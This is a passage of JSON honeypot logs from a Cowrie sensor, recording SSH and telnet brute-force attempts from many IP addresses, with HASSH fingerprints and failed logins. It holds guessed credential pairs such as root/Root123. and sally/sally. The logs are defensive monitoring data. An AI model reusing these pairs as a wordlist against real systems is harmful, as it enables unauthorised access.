{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:36.515630Z","src_ip":"38.93.206.2","session":"22d271ba693c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"213456","message":"login attempt [root/213456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:36.669471Z","src_ip":"38.93.206.2","session":"22d271ba693c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:37.721742Z","src_ip":"38.93.206.2","session":"22d271ba693c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48536,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9660c018eeb","protocol":"telnet","message":"New connection: 128.199.8.54:48536 (159.203.135.109:23) [session: c9660c018eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:45.442116Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":58532,"dst_ip":"10.17.0.5","dst_port":22,"session":"9feb4c43ff7c","protocol":"ssh","message":"New connection: 38.148.249.2:58532 (10.17.0.5:22) [session: 9feb4c43ff7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:49.883364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:49.887397Z","src_ip":"38.148.249.2","session":"9feb4c43ff7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:49.956761Z","src_ip":"38.148.249.2","session":"9feb4c43ff7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123.","message":"login attempt [root/Root123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:50.268509Z","src_ip":"38.148.249.2","session":"9feb4c43ff7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:51.340506Z","src_ip":"38.148.249.2","session":"9feb4c43ff7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56028,"dst_ip":"159.203.135.109","dst_port":23,"session":"f10f996d93a2","protocol":"telnet","message":"New connection: 128.199.8.54:56028 (159.203.135.109:23) [session: f10f996d93a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:58.127434Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58770,"dst_ip":"159.203.135.109","dst_port":23,"session":"1db46cdc7be7","protocol":"telnet","message":"New connection: 172.81.62.90:58770 (159.203.135.109:23) [session: 1db46cdc7be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:07.752445Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40294,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f515a9c29a5","protocol":"telnet","message":"New connection: 172.81.62.90:40294 (159.203.135.109:23) [session: 0f515a9c29a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:11.870498Z"}
{"eventid":"cowrie.session.closed","duration":39.61150097846985,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:14.020320Z","src_ip":"172.81.62.90","session":"4b7e5b3d9d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":34482,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c59fd613f74","protocol":"ssh","message":"New connection: 43.153.12.68:34482 (10.17.0.5:22) [session: 2c59fd613f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:15.942882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:15.948514Z","src_ip":"43.153.12.68","session":"2c59fd613f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:16.021660Z","src_ip":"43.153.12.68","session":"2c59fd613f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sally","password":"sally","message":"login attempt [sally/sally] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:16.335812Z","src_ip":"43.153.12.68","session":"2c59fd613f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:17.414449Z","src_ip":"43.153.12.68","session":"2c59fd613f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42426,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9cd7d938207","protocol":"telnet","message":"New connection: 128.199.8.54:42426 (159.203.135.109:23) [session: c9cd7d938207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:21.416076Z"}
{"eventid":"cowrie.session.closed","duration":39.036105155944824,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:24.478122Z","src_ip":"128.199.8.54","session":"c9660c018eeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44300,"dst_ip":"159.203.135.109","dst_port":23,"session":"43d793467424","protocol":"telnet","message":"New connection: 128.199.8.54:44300 (159.203.135.109:23) [session: 43d793467424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:25.442374Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":59252,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2d553294ffb","protocol":"ssh","message":"New connection: 89.223.69.22:59252 (159.203.135.109:22) [session: f2d553294ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:25.794810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:25.799342Z","src_ip":"89.223.69.22","session":"f2d553294ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:25.915883Z","src_ip":"89.223.69.22","session":"f2d553294ffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10091982","message":"login attempt [root/10091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:26.267468Z","src_ip":"89.223.69.22","session":"f2d553294ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:27.386686Z","src_ip":"89.223.69.22","session":"f2d553294ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.742547035217285,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:39.869857Z","src_ip":"128.199.8.54","session":"f10f996d93a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":34138,"dst_ip":"159.203.135.109","dst_port":22,"session":"f894d329da05","protocol":"ssh","message":"New connection: 85.198.19.241:34138 (159.203.135.109:22) [session: f894d329da05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:42.088362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:43.574519Z","src_ip":"85.198.19.241","session":"f894d329da05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:43.577491Z","src_ip":"85.198.19.241","session":"f894d329da05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.24684429168701,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:43.999141Z","src_ip":"172.81.62.90","session":"1db46cdc7be7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pc","password":"12345678","message":"login attempt [pc/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:45.560484Z","src_ip":"85.198.19.241","session":"f894d329da05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:48.185822Z","src_ip":"85.198.19.241","session":"f894d329da05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":42292,"dst_ip":"159.203.135.109","dst_port":22,"session":"02bfbb249a46","protocol":"ssh","message":"New connection: 103.27.238.114:42292 (159.203.135.109:22) [session: 02bfbb249a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:48.366594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:48.373416Z","src_ip":"103.27.238.114","session":"02bfbb249a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:48.628601Z","src_ip":"103.27.238.114","session":"02bfbb249a46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4222570","message":"login attempt [root/4222570] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:49.396523Z","src_ip":"103.27.238.114","session":"02bfbb249a46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.39291524887085,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:50.263328Z","src_ip":"172.81.62.90","session":"0f515a9c29a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:50.655993Z","src_ip":"103.27.238.114","session":"02bfbb249a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57350,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e01ecd7cfef","protocol":"telnet","message":"New connection: 107.6.151.170:57350 (159.203.135.109:23) [session: 1e01ecd7cfef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:50.719410Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"8710f6d974da","protocol":"ssh","message":"New connection: 51.250.105.222:60826 (10.17.0.5:22) [session: 8710f6d974da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:51.162472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:51.165689Z","src_ip":"51.250.105.222","session":"8710f6d974da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:51.294019Z","src_ip":"51.250.105.222","session":"8710f6d974da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:51.682164Z","src_ip":"51.250.105.222","session":"8710f6d974da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:52.812458Z","src_ip":"51.250.105.222","session":"8710f6d974da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":54729,"dst_ip":"10.17.0.5","dst_port":22,"session":"5db2f82df74b","protocol":"ssh","message":"New connection: 170.80.65.140:54729 (10.17.0.5:22) [session: 5db2f82df74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:55.969810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:25:55.974247Z","src_ip":"170.80.65.140","session":"5db2f82df74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diff